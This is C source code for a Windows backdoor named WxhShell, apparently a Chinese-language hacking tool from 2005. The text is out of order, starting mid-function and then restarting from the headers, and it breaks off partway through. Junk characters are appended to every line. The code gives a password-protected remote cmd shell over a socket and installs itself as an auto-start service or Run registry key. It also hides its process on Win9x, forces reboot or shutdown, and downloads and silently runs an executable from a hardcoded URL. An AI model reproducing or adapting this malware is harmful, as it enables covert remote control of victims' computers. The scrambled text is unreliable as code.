    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %}P^B^O  
    if(Boot(SHUTDOWN)) MQ2gzKw>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N10'./c K  
    else { *Xt#04_  
    closesocket(wsh); Ly\$?3 h  
    ExitThread(0); RMDs~  
    } m?xzx^xs/  
    break; !,Wd$U K  
    } 7|T<dfQk  
  // 获取shell =2bW"gs I  
  case 's': { je.jui"  
    CmdShell(wsh); (`4^|_gw  
    closesocket(wsh); -:m;ePK  
    ExitThread(0); 4QK([q  
    break; + H_Jr'/  
  } 6}IOUWLB@  
  // 退出 8iD_md_[  
  case 'x': { h$~ NPX  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); nG$*[7<0u  
    CloseIt(wsh); *(L4rK\2  
    break; 9x&,`95O  
    } z7MJxjH  
  // 离开 4r-jpVN~  
  case 'q': { jt tlzCDn  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <8!mmOK1  
    closesocket(wsh); e>1^i;f  
    WSACleanup(); q#I/N$F  
    exit(1); C;wN>HE  
    break; P /wc9Yt  
        } a<sE dp  
  } sU4(ed\gI\  
  }  :q;vZ6Xd  
Vlce^\s;  
  // 提示信息 -hL8z$}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5|x FY/%  
} G-Z_pGer^  
  } 1QE-[|  
'/b,3:  
  return; dnNC = siY  
} d#I'9O0&  
k$}XZ,Q  
// shell模块句柄 zrU0YHmt  
int CmdShell(SOCKET sock) kJ>l, AD/  
{ X6!u(plVQ  
STARTUPINFO si; CBs0>M/  
ZeroMemory(&si,sizeof(si)); }k duN0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C>N)~Ut  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1]fqt[*)  
PROCESS_INFORMATION ProcessInfo; :cG_aO kid  
char cmdline[]="cmd"; sqei(OXy  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); i5|A\Wv"  
  return 0; J^pL_  
} >AV-i$4eQ@  
v%/_*69a  
// 自身启动模式 %H~q3|z  
int StartFromService(void) =nA;,9%  
{ B!! xu  
typedef struct ;Y j_@=   
{ bU=!~W5  
  DWORD ExitStatus; -'&MT :L  
  DWORD PebBaseAddress; +kH*BhSj  
  DWORD AffinityMask; ;QW6Tgt11  
  DWORD BasePriority; qUx!-DMY  
  ULONG UniqueProcessId; ep3_G\m  
  ULONG InheritedFromUniqueProcessId; ! s?vj <  
}   PROCESS_BASIC_INFORMATION; '7 6}6G%  
nBaY|  
PROCNTQSIP NtQueryInformationProcess; sJ7r9 O`x  
YQ 4;X8I`r  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xRP#}i:m  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9,82Uta  
??aOr*%  
  HANDLE             hProcess; <QugV3e  
  PROCESS_BASIC_INFORMATION pbi; !a ~>;+  
MT$OjH'Q`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^] Lr_k  
  if(NULL == hInst ) return 0; 7}%3Aw6]S  
^g~Asz5]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &y mfA{s  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); t}qoIxy)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Io5-[d  
aoco'BR F  
  if (!NtQueryInformationProcess) return 0; _z)G!_7.>\  
JnmJN1@I  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); nC qUg_{D  
  if(!hProcess) return 0; X/];*='Q  
my[)/'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; niFX8%<hP  
UALwr>+VJ  
  CloseHandle(hProcess); WA8Qt\Q  
6WgGewn  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /+"BU-aQk  
if(hProcess==NULL) return 0; >wdR4!x!?  
IpoZ6DB$  
HMODULE hMod; }7g\1l\  
char procName[255]; 0LrTYrlj  
unsigned long cbNeeded; d&(GIH E&d  
X{9D fgW  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (JocnM|U  
VDx=Tsu-  
  CloseHandle(hProcess); nDkyo>t .  
%QVX1\>]  
if(strstr(procName,"services")) return 1; // 以服务启动 \Z ] <L  
O:+#k-?  
  return 0; // 注册表启动 <3LyNG.  
} KU"? ZI  
y!1%Kqx1,n  
// 主模块 s)_7*DY  
int StartWxhshell(LPSTR lpCmdLine) ]V<[W,*(5  
{ :w#Zs)N  
  SOCKET wsl; ya5;C"   
BOOL val=TRUE; pTST\0?  
  int port=0; {Rc/Ten  
  struct sockaddr_in door; &%>l9~F'~  
37v!:xF!  
  if(wscfg.ws_autoins) Install(); z=N'evx~  
AVOzx00U  
port=atoi(lpCmdLine); Ii?<Lz  
& *B@qQ  
if(port<=0) port=wscfg.ws_port; AGx]srl  
a"b9h{h@  
  WSADATA data; ot;j6eAH~E  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F6}Pwz[c  
DFwkd/3"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   F8Rd#^9PD  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )V!9&  
  door.sin_family = AF_INET; P cnr  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /wljb b/s  
  door.sin_port = htons(port); ?>1AT ==wI  
7;5?2)+=6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &[3 xpi{v  
closesocket(wsl); Fs|fo-+H}k  
return 1; ES;7_.q  
} "e69aAA,  
']ya_v~e  
  if(listen(wsl,2) == INVALID_SOCKET) { Zi|MWaA.f  
closesocket(wsl); Zuo7MR  
return 1; {<\nl#}5S  
} R^1sbmwk  
  Wxhshell(wsl); y{uRh>l  
  WSACleanup(); Z WL/AC  
-=&r}/&  
return 0; 2wlrei  
!Z YMks4  
} f#ID:Ap3  
=V5<>5"M?  
// 以NT服务方式启动 U8c0N<j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _.' j'j%  
{ HN7(-ml=B  
DWORD   status = 0; hvtg_w6K  
  DWORD   specificError = 0xfffffff; 6|V713\  
<?yAIhgN*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8do]5FE  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; f` 2W}|(jA  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U)=StpTT  
  serviceStatus.dwWin32ExitCode     = 0; B0?E$8a  
  serviceStatus.dwServiceSpecificExitCode = 0; "6[' !rq0  
  serviceStatus.dwCheckPoint       = 0; _'ltz!~  
  serviceStatus.dwWaitHint       = 0; pZ/x,b#.  
7 }4T)k(a  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5,:>.LRA  
  if (hServiceStatusHandle==0) return; YjdCCju  
b*',(J94  
status = GetLastError(); RgHPYf{  
  if (status!=NO_ERROR) L}h?nWm8  
{ ~%qHJ4C  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _ "&b%!  
    serviceStatus.dwCheckPoint       = 0; y"#o9"&>&  
    serviceStatus.dwWaitHint       = 0; >)R7*^m{'  
    serviceStatus.dwWin32ExitCode     = status; IiHl"2+/  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3Nd&*QSV  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )-xx$0mL-  
    return; R^iF^IB  
  } M9.jJf  
^o,P>u!9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; V k5}d[[l  
  serviceStatus.dwCheckPoint       = 0; f$Nz).(  
  serviceStatus.dwWaitHint       = 0; Pp7}|/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I5mnV<QA^  
} >2x[ub%$L  
EA7 8&  
// 处理NT服务事件,比如:启动、停止 7"yA~e,l  
VOID WINAPI NTServiceHandler(DWORD fdwControl) skh6L!6*<  
{ w=vK{h#8  
switch(fdwControl) a}|B[b  
{ !X$e;V"HX  
case SERVICE_CONTROL_STOP: |>5NH'agV  
  serviceStatus.dwWin32ExitCode = 0; )'?3%$EM  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G#t!{Q}8  
  serviceStatus.dwCheckPoint   = 0; &#;vR 0O  
  serviceStatus.dwWaitHint     = 0; oTS*k: C'  
  { luACdC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Obgn?TAVX  
  } ;+'x_'a  
  return; v#q7hw=  
case SERVICE_CONTROL_PAUSE: -Ob'/d5&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; i^eU!^KF  
  break; T?4MFx#  
case SERVICE_CONTROL_CONTINUE: $ jWe!]ASU  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8)\Td tBf9  
  break; *v 1hMk  
case SERVICE_CONTROL_INTERROGATE: u27K 0}  
  break; O68/Hf1W  
}; ,j>A[e&.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /oKa?iT  
} ~ OD}`  
V|e9G,z~A  
// 标准应用程序主函数 3jZPv;9OC  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Cp`)*P2  
{ &}_ $@  
lQj3# !1}  
// 获取操作系统版本 R*VRxQ,h6+  
OsIsNt=GetOsVer(); J,Du:|3o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); vnwS &;-k~  
,#W>E,UU  
  // 从命令行安装 pyhC%EZU  
  if(strpbrk(lpCmdLine,"iI")) Install(); L'B= =#  
`qnSq(tNq  
  // 下载执行文件 Clr~:2g\  
if(wscfg.ws_downexe) { ;|*o^9q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) F`IV9qv  
  WinExec(wscfg.ws_filenam,SW_HIDE); |re)]%A?Fu  
} 1 41@$mMzE  
|l'BNuiU  
if(!OsIsNt) { F6J,:  
// 如果时win9x,隐藏进程并且设置为注册表启动 [vh&o-6  
HideProc(); {Z%4Pg  
StartWxhshell(lpCmdLine); }iZO0C  
} 2L Kpwz?  
else L}Nc kL  
  if(StartFromService()) P>n}\"z4  
  // 以服务方式启动 C +S  
  StartServiceCtrlDispatcher(DispatchTable); FC[8kq>Hk  
else `1k0wT(  
  // 普通方式启动 , 7-@eZ  
  StartWxhshell(lpCmdLine); r#hA kOw  
OZ##x  
return 0; ,'w9@A  
} 7%DA0.g  
"I+71Ce  
}TE4)vXs  
7vO3+lT/Y;  
=========================================== S bI7<_  
E>>@X^ =  
LgFF+z  
qM%l  
{WJ9!pA!lk  
x.W93e[]H  
" ;U$Fz~rJ  
4+46z|  
#include <stdio.h> 1~rZka[s  
#include <string.h> R@zl?>+  
#include <windows.h> (jhDO7  
#include <winsock2.h> j0P+<@y  
#include <winsvc.h> (#,0\ea{x  
#include <urlmon.h> **p|g<wvY*  
_UU-  
#pragma comment (lib, "Ws2_32.lib") vt8z=O  
#pragma comment (lib, "urlmon.lib") h2~b%|Pv  
#$k6OlK-r"  
#define MAX_USER   100 // 最大客户端连接数 <uq#smY  
#define BUF_SOCK   200 // sock buffer :+u K1N  
#define KEY_BUFF   255 // 输入 buffer %*J'!PC9n  
a2Q_K2t  
#define REBOOT     0   // 重启 4FLL*LCNX  
#define SHUTDOWN   1   // 关机 (NB\wJg $  
G_OLUuK?C  
#define DEF_PORT   5000 // 监听端口 mtfEK3?2*  
NABVU0}   
#define REG_LEN     16   // 注册表键长度 nz-( 8{ae  
#define SVC_LEN     80   // NT服务名长度 U4PnQ K,  
luLt~A3H$  
// 从dll定义API +2X q+P  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wP-BaB$_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y243mq-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |a! y%R=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \ct7~!qM  
;F3#AO4(  
// wxhshell配置信息 _}G1/`09#  
struct WSCFG { /D@(o`a  
  int ws_port;         // 监听端口 N5m+r.<;  
  char ws_passstr[REG_LEN]; // 口令 lxSCN6  
  int ws_autoins;       // 安装标记, 1=yes 0=no #\DKU@|h  
  char ws_regname[REG_LEN]; // 注册表键名 c ow]qe6K  
  char ws_svcname[REG_LEN]; // 服务名 iLhxcM2K  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 WBOebv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 BBkYc:B=SA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o]gS=iLp  
int ws_downexe;       // 下载执行标记, 1=yes 0=no UB5X2uBv  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" uPZ<hG#K  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 78o>UWA:  
GJLe733o  
}; 0{0A,;b  
<Wz+f+HC  
// default Wxhshell configuration )2lzPK t  
struct WSCFG wscfg={DEF_PORT, ?|}%A9   
    "xuhuanlingzhe", ik:fq&=  
    1, )TH~Tq:  
    "Wxhshell",  v7Q=  
    "Wxhshell", 6xfG`7Az  
            "WxhShell Service", "V7 SB   
    "Wrsky Windows CmdShell Service", B`I9  
    "Please Input Your Password: ", >S]_{pb  
  1, U`25bb1W j  
  "http://www.wrsky.com/wxhshell.exe", 6B pm+}  
  "Wxhshell.exe" >n!,KUu]  
    }; *U{E[<k{  
Wu:@+~J.h  
// 消息定义模块 R\VM6>SN'S  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j4C{yk  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L~Hgf/%5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; kuEB  
char *msg_ws_ext="\n\rExit."; ZA;VA=)\8  
char *msg_ws_end="\n\rQuit."; t93iU?Z  
char *msg_ws_boot="\n\rReboot..."; wfE%` 1  
char *msg_ws_poff="\n\rShutdown..."; zLeId83>  
char *msg_ws_down="\n\rSave to "; uoX] #<1J  
+WGL`RP  
char *msg_ws_err="\n\rErr!"; W{JNNf6G  
char *msg_ws_ok="\n\rOK!"; >%PPp.R  
Q|3SYJf  
char ExeFile[MAX_PATH]; @-g'BvS  
int nUser = 0; Hf^Tok^6@]  
HANDLE handles[MAX_USER]; z'9Mg]&>  
int OsIsNt; h_w_OCC&2  
zc,kHO|  
SERVICE_STATUS       serviceStatus;  oJ<Wh @  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]t'bd <O  
fxR}a,a  
// 函数声明 @1p ,  
int Install(void); ,vN0Jpf}\8  
int Uninstall(void); \q |n0>  
int DownloadFile(char *sURL, SOCKET wsh); @qGg=)T  
int Boot(int flag); A&dNCB  
void HideProc(void); {1jywb }  
int GetOsVer(void); #c2InwZV  
int Wxhshell(SOCKET wsl); s3., N|  
void TalkWithClient(void *cs); L.]mC !  
int CmdShell(SOCKET sock);  `LWZ!Q  
int StartFromService(void); |ULwUi-r  
int StartWxhshell(LPSTR lpCmdLine); 1zz.`.R2U  
eqFOPK5q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #"Wh$x%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); GNv5yWQ@  
jNO8n)a&p  
// 数据结构和表定义 C6"bGA  
SERVICE_TABLE_ENTRY DispatchTable[] = 4Pm+0=E   
{ p| #gn<z}  
{wscfg.ws_svcname, NTServiceMain}, O8J:Tw}M*  
{NULL, NULL} UdSu:V|  
}; C}~/(;1V=  
Rlq6I?S+  
// 自我安装 e>oE{_e  
int Install(void)  fK$N|r  
{ _:tclBc8R  
  char svExeFile[MAX_PATH]; c= -2c&=&  
  HKEY key; ,;_D~7L  
  strcpy(svExeFile,ExeFile); ~6hG"t]:  
w|1Gb[  
// 如果是win9x系统,修改注册表设为自启动 hVfiF  
if(!OsIsNt) { bnWKfz5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `Al[gG?/!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .)wj{(>TJ  
  RegCloseKey(key); /)ubyl]^p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $B iG7,[#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jgr2qSU C  
  RegCloseKey(key); >VAZ^kgi  
  return 0; ^1%gQ@P  
    } M?UlC   
  } OoFQ@zE7%  
} c0H8FF3  
else { Qbc62qFu!  
Wv   
// 如果是NT以上系统,安装为系统服务 EmDA\9~@R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); mQ9%[U,  
if (schSCManager!=0) \E'Nk$V3  
{ D4"](RXH  
  SC_HANDLE schService = CreateService P7Th 94  
  ( WAj26";M(  
  schSCManager, {,5=U@J  
  wscfg.ws_svcname, }}GBCXAf_  
  wscfg.ws_svcdisp, ,H3C\.%w\  
  SERVICE_ALL_ACCESS, SZ9xj^"g  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =f)S=0UF  
  SERVICE_AUTO_START, VesO/xG<  
  SERVICE_ERROR_NORMAL, "~h.u  
  svExeFile, PAe2 hJ  
  NULL, #"M 'Cs  
  NULL, o(W|BD!  
  NULL, x*#F|N4~',  
  NULL, ?-FSDNQ  
  NULL ]`D(/l'  
  ); ^}2 ie|  
  if (schService!=0) Qa,^;hZWS  
  { lPS A  
  CloseServiceHandle(schService); t9&z|?Vz  
  CloseServiceHandle(schSCManager); E(T6s^8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xNNoB/DR  
  strcat(svExeFile,wscfg.ws_svcname); uTRa]D_q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M} IRagm  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6'Sc=;;:  
  RegCloseKey(key); Po[u6K2&  
  return 0; tUmI#.v   
    } b8 J\Lm|J  
  } 6,'!z ?d%  
  CloseServiceHandle(schSCManager); @=c{GAj  
} ?lxI& h  
} eiZv|?^0  
`d=$9Pi  
return 1; EX>|+zYL  
} bOCdf"!g  
F}Bc +i#]  
// 自我卸载 iSxxy1R  
int Uninstall(void) 'JEZ;9}  
{ 4\q7.X+^  
  HKEY key; _%s_w)  
B{ NKDkDH  
if(!OsIsNt) { FhB^E$r%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Vgs( feGs  
  RegDeleteValue(key,wscfg.ws_regname); s,^?|Eo;0  
  RegCloseKey(key); O0xL;@rBe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x5m .MQ J  
  RegDeleteValue(key,wscfg.ws_regname); r^P}xGGK  
  RegCloseKey(key); "F+ 9xf&r  
  return 0; 0k5Z l?  
  } xPh%?j?*v  
} +G&h  
} E{r_CR+8  
else { ,_T,B'a:  
"b*.>QuZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {KL<Hx2M  
if (schSCManager!=0) &Ko}Pv  
{ 1fL@rR  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); FTt7o'U  
  if (schService!=0) T\:3(+uK  
  { =&,zWNz)  
  if(DeleteService(schService)!=0) { =~Jv*c  
  CloseServiceHandle(schService); zQ {g~x  
  CloseServiceHandle(schSCManager); GI$t8{M  
  return 0; @+}Q<  
  } )BTJs)E  
  CloseServiceHandle(schService); ]}9y>+>  
  } ,"PwNv  
  CloseServiceHandle(schSCManager); iQ-;0<=G  
} wC BL1[~C  
} G=3/PYp  
p;j$i6YJ  
return 1; t1B0M4x9  
} 6mEW*qp2F  
`q eL$`  
// 从指定url下载文件 W.\HfJ74  
int DownloadFile(char *sURL, SOCKET wsh) y wk;  
{ Qd!;CoOmZs  
  HRESULT hr; 44?5]C7  
char seps[]= "/"; 6!bA~"N  
char *token; 5 d(A(  
char *file; Xr M[8a  
char myURL[MAX_PATH]; KLq u[{y.'  
char myFILE[MAX_PATH]; ;sNyN#  
_dsd{&  
strcpy(myURL,sURL); P1 (8foZA  
  token=strtok(myURL,seps); > Q@*o  
  while(token!=NULL) (eJr-xZ/  
  { $t 1]w]}d  
    file=token; dqUhp_f2qK  
  token=strtok(NULL,seps); F4 Ft~:a  
  } U3lr<(r*  
|i?AtOt@f  
GetCurrentDirectory(MAX_PATH,myFILE); p`1d'n[  
strcat(myFILE, "\\"); X >%2\S  
strcat(myFILE, file); {L$b$u$7:  
  send(wsh,myFILE,strlen(myFILE),0); W\U zw,vI  
send(wsh,"...",3,0); Oe$cM=Yf  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }#<Sq57n  
  if(hr==S_OK) ;y6Jo  
return 0; 5vbnO]8  
else >o 3X)  
return 1; P xpz7He  
2I?HBz1v  
} j#&sZ$HQ4  
4>Uo0NfL  
// 系统电源模块 l(=#c/f  
int Boot(int flag) ]vQo^nOo  
{ PBn(k>=+  
  HANDLE hToken; (fh:q2E#  
  TOKEN_PRIVILEGES tkp; NFLmM  
B[4y(Im  
  if(OsIsNt) { $'9r=#EH  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); DGHX:Ft#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 83i%3[L  
    tkp.PrivilegeCount = 1; W %R h2l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~8pf.^,fi  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); QJdSNkc6  
if(flag==REBOOT) { _5U Fml9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @dCu]0oNI  
  return 0; ^#3$C?d  
} gyCb\y+\a  
else { $o]zNW;X  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^ ?tAt3dMI  
  return 0; mkE*.I0=  
} IH~H6US  
  } 2z0HB+Y}x  
  else { t s ?b[v  
if(flag==REBOOT) { &p ;};n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) jcq(=7j  
  return 0; :jp?FF^j;  
} 82J0t}:U  
else { '12|:t&7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) wmo'Pl  
  return 0;  QV .A.DK  
} ` V^#Sb  
} bk6$+T=>  
^Y'J0v2  
return 1; {]D!@87  
} x ;Gyo  
k}lx!Ck  
// win9x进程隐藏模块 lmmyDg1R  
void HideProc(void) [7I|8  
{ )&dhE^ O  
d}l^yln  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); cC}s5`  
  if ( hKernel != NULL ) C4 Wdt  
  { 3Vw%[+lY9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); J1R%w{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &-b=gnT   
    FreeLibrary(hKernel); -|)[s[T~m  
  } oQ yG  
.k*2T<p$rC  
return; )D[xY0Y~  
} }7.q[ ^oF  
EL}v>sC  
// 获取操作系统版本 Tl%4L % bE  
int GetOsVer(void) LWQ BGiJj  
{ s}z,{Y$-t  
  OSVERSIONINFO winfo; vQ_B2#U:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J$EEpL  
  GetVersionEx(&winfo); @tj0Ir v  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +] 5a(/m.~  
  return 1; _r8AO>  
  else \clWrK  
  return 0; so8-e  
} 23OV y^b  
\FKIEg+(2  
// 客户端句柄模块 6op\g].P  
int Wxhshell(SOCKET wsl) RDqC$Gu  
{ /GeS(xzQ  
  SOCKET wsh; |Q I3H]T7  
  struct sockaddr_in client;  +;!w;t  
  DWORD myID; WX=+\`NyJ(  
P)\f\yb  
  while(nUser<MAX_USER) 4Dd9cG,lN  
{ RsOK5XnQn  
  int nSize=sizeof(client); " LxJPt\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @2$8o]et  
  if(wsh==INVALID_SOCKET) return 1; yv:NH|,/y  
@<6-uk3S  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X_YD[  
if(handles[nUser]==0) V3+%KkN  
  closesocket(wsh); '~2v/[<`}  
else |1<Z3\+_/  
  nUser++; ^CE:?>a$  
  } *ap#*}r!Nk  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hN:Z-el  
lLDHx3+  
  return 0; iIF'!K=q  
} mY AFruN  
?#[K&$}  
// 关闭 socket l2v}PALs  
void CloseIt(SOCKET wsh) K5ph x  
{ '9[_ w$~(  
closesocket(wsh); Y$Ke{6 4  
nUser--; /vV 0$vg  
ExitThread(0); .Lp-'!i  
} 8)tyn'~i  
.cabw+& 7  
// 客户端请求句柄 <5#e.w  
void TalkWithClient(void *cs) :_H88/?RR  
{ *&PgDAQ  
UetmO`qju  
  SOCKET wsh=(SOCKET)cs; zSH#j RDV  
  char pwd[SVC_LEN]; Lf:Z (Z>  
  char cmd[KEY_BUFF]; b7,qzh  
char chr[1]; 0IdD   
int i,j;  {Eb6.  
oaK~:'  
  while (nUser < MAX_USER) { <f*0 XJ#  
qXF"1f_+  
if(wscfg.ws_passstr) { :ox CF0Y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lt4UNJ3w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BxqCV%9o  
  //ZeroMemory(pwd,KEY_BUFF); Rta P+6'X  
      i=0; MDq@:t  
  while(i<SVC_LEN) { +vnaEy  
=e+go ]87x  
  // 设置超时 B dKwWgi+a  
  fd_set FdRead; **"P A8   
  struct timeval TimeOut; k$2Y)  
  FD_ZERO(&FdRead); 6GN'rVr!Z  
  FD_SET(wsh,&FdRead); ;uDFd04w [  
  TimeOut.tv_sec=8; +W1rm$Q  
  TimeOut.tv_usec=0; k8JPu"R  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o EN_,cUp  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q ^gEA5  
H:_`]X"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O(d'8`8  
  pwd=chr[0]; k$>T(smh  
  if(chr[0]==0xd || chr[0]==0xa) { pi{ahuI#_o  
  pwd=0; + ThKqC_  
  break; -5[GX3h0  
  } ;$i'A&)OC  
  i++; 2P=;r:cx  
    } HHYcFoJwYN  
Kv7NCpq'  
  // 如果是非法用户,关闭 socket O?!"15  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %'HUC>ChN  
} @RP|?Xc{?  
J\*d4I<(Rt  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |H4'*NP"  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }VGiT~2$  
x,%&[ 6(  
while(1) { -*A'6%`  
WToAT;d2h  
  ZeroMemory(cmd,KEY_BUFF); ]*|K8&jxl  
||4Dtg K  
      // 自动支持客户端 telnet标准   j$^]WRt  
  j=0; ZS+2.)A  
  while(j<KEY_BUFF) { q|l|gY1g)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^bG!k]U!2  
  cmd[j]=chr[0]; +9X[gef8  
  if(chr[0]==0xa || chr[0]==0xd) { AL0Rn e N  
  cmd[j]=0; Fk(5y)  
  break; Kf4z*5Veqr  
  } !iw 'tHhR  
  j++; ^~Sn{esA  
    } Exr7vL  
7E95"B&w  
  // 下载文件 R;o_*  
  if(strstr(cmd,"http://")) { dc)Gk  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _+En%p.m  
  if(DownloadFile(cmd,wsh)) )R4<* /C:w  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :m\KQ1sq  
  else u_B SWhiW  
